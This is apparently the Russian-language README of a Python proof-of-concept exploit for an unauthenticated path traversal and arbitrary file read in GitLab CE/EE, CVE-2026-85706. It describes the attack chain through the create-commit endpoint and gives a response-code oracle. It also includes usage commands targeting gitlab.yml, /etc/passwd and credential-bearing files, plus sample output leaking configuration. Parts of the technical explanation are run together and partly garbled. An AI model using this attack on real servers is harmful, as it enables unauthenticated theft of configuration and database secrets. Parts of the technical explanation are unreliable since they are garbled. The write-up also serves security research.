
Python PoC, эксплуатирующий CVE-2026-85706 — неаутентифицированный обход пути и произвольное чтение файлов в GitLab CE/EE через эндпоинт create-commit, с оракулом чтения файлов.
Неаутентифицированный обход пути / произвольное чтение файлов в GitLab CE и EE. CVSS 10.0. Проверено на самостоятельно управляемом экземпляре 19.3.1 в локальной лаборатории.
GitLab CE/EE:
Предусловие: на экземпляре есть хотя бы один публичный проект. Подойдёт любой реальный id проекта. Аккаунт или токен не нужны.
Эндпоинт создания коммита POST /api/v4/projects/:id/repository/commits
принимает большие тела файлов, поэтому Workhorse буферизует тело запроса на диск и
внедряет метаданные file.path / file.size, которые Rails затем считывает. Совпадают
четыре ошибки:
require_gitlab_workhorse! только при входе. Настоящий
authenticate! находится за authorize_push_to_branch!, который выполняется после
чтения файла.file_params_from_body_upload берёт file.path и file.size напрямую
из параметров запроса, поэтому File.read(file_path) следует по любому абсолютному
пути, который вы укажете..../repository/commits\z.
Добавление завершающего слэша не попадает в этот маршрут и проваливается в подписанный
обратный прокси, который пересылает необработанное тело с действительным JWT. Проверка
Workhorse проходит, Grape нормализует слэш, и подделанные параметры выживают.Content-Type: application/x-www-form-urlencoded содержимое файла
разбирается через Rack::Utils.parse_nested_query. Недопустимая последовательность % вызывает
ArgumentError: invalid %-encoding (<component>), и ответ 400 дословно отражает этот компонент.Чтение выполняется от имени пользователя git. Содержимое возвращается только если файл содержит
недопустимую последовательность %; в противном случае вы всё равно получаете чистый оракул
существования и читаемости:
| Ответ | Значение |
|---|---|
400 local file not present | файл не существует |
500 | существует, не читается пользователем git |
401 | существует и читается, нет недопустимого %, ничего не отражено |
400 invalid %-encoding (...) | читается, компонент отражён |
Файлы, которые надёжно отражаются при стандартной установке omnibus: gitlab.yml (комментарий
в заголовке содержит 95% в начале), логи и артефакты CI-заданий, загруженные вложения,
и database.yml на развёртываниях с внешней базой данных.
python3 exploit.py -t http://target:8080 # reads gitlab.yml
python3 exploit.py -t http://target:8080 -f /etc/passwd
python3 exploit.py -t http://target:8080 -p 3 -o out.txt
Без зависимостей, только стандартная библиотека.
Против gitlab-ce 19.3.1 в docker, без учётных данных:
$ python3 exploit.py -t http://127.0.0.1:8929
[*] HTTP 400 | leaked
[+] leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
=========================
## GitLab settings
gitlab:
## Web server settings (note: host is the FQDN, do not include http://)
host: localhost
port: 8929
https: false
...
------------------------------------------------------------
Выборочные проверки оракула из того же запуска:
/etc/passwd -> 401 (readable, no echo)
/etc/shadow -> 500 (exists, permission denied)
/etc/nonexistent -> 400 local file not present
Только для авторизованного тестирования безопасности и исследований. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.